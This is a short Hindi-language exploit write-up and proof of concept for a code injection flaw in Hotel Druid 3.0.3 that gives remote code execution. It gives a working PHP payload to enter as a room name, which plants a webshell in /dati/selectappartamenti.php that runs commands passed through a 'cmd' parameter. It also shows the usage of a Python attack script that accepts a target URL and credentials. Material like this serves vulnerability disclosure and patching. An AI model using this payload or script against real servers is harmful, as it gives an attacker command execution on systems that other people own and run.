
होटल ड्र्यूइड 3.0.3 कोड इंजेक्शन से रिमोट कोड एक्जीक्यूशन
Hotel Druid v3.0.3 एप्लिकेशन में एक कोड इंजेक्शन भेद्यता पाई गई है, जिसका उपयोग करके एक हमलावर सर्वर पर रिमोट कोड निष्पादित कर सकता है। सफल शोषण के लिए, हमलावर के पास एक नया कमरा जोड़ने का विशेषाधिकार होना चाहिए।
यह भेद्यता इसलिए होती है क्योंकि कमरे के नाम /dati/selectappartamenti.php नामक फ़ाइल में डबल कोट्स का उपयोग करके संग्रहीत किए जाते हैं।
<?php
echo "
<option value=\"Room1\">Room1</option>
<option value=\"Room2\">Room2</option>
<option value=\"Room3\">Room3</option>
";
?>
सफल शोषण करने के लिए, निम्नलिखित पेलोड को कमरे के नाम के रूप में जोड़ें।
{${system($_REQUEST[cmd])}}
नया कमरा जोड़ने के बाद, /dati/selectappartamenti.php पर जाएं और cmd पैरामीटर का उपयोग करके एक कमांड पास करके वेबशेल को ट्रिगर करें।
usage: hotel-druid.py [-h] -t TARGET [-u USERNAME] [-p PASSWORD] [--noauth]
optional arguments:
-h, --help show this help message and exit
required arguments:
-t TARGET, --target TARGET
Target URL. Example : http://10.20.30.40/path/to/hoteldruid
-u USERNAME, --username USERNAME
Username
-p PASSWORD, --password PASSWORD
password
--noauth If No authentication is required to access the dashboard
यदि एप्लिकेशन में कोई प्रमाणीकरण नहीं है, तो बिना प्रमाणीकरण के कार्य करने के लिए --noauth फ़्लैग का उपयोग करें।

यदि सर्वर पर प्रमाणीकरण सक्षम है, तो प्रमाणीकरण करने के लिए --username और --password का उपयोग करें।

शोधकर्ता और POC लेखक - 0z09e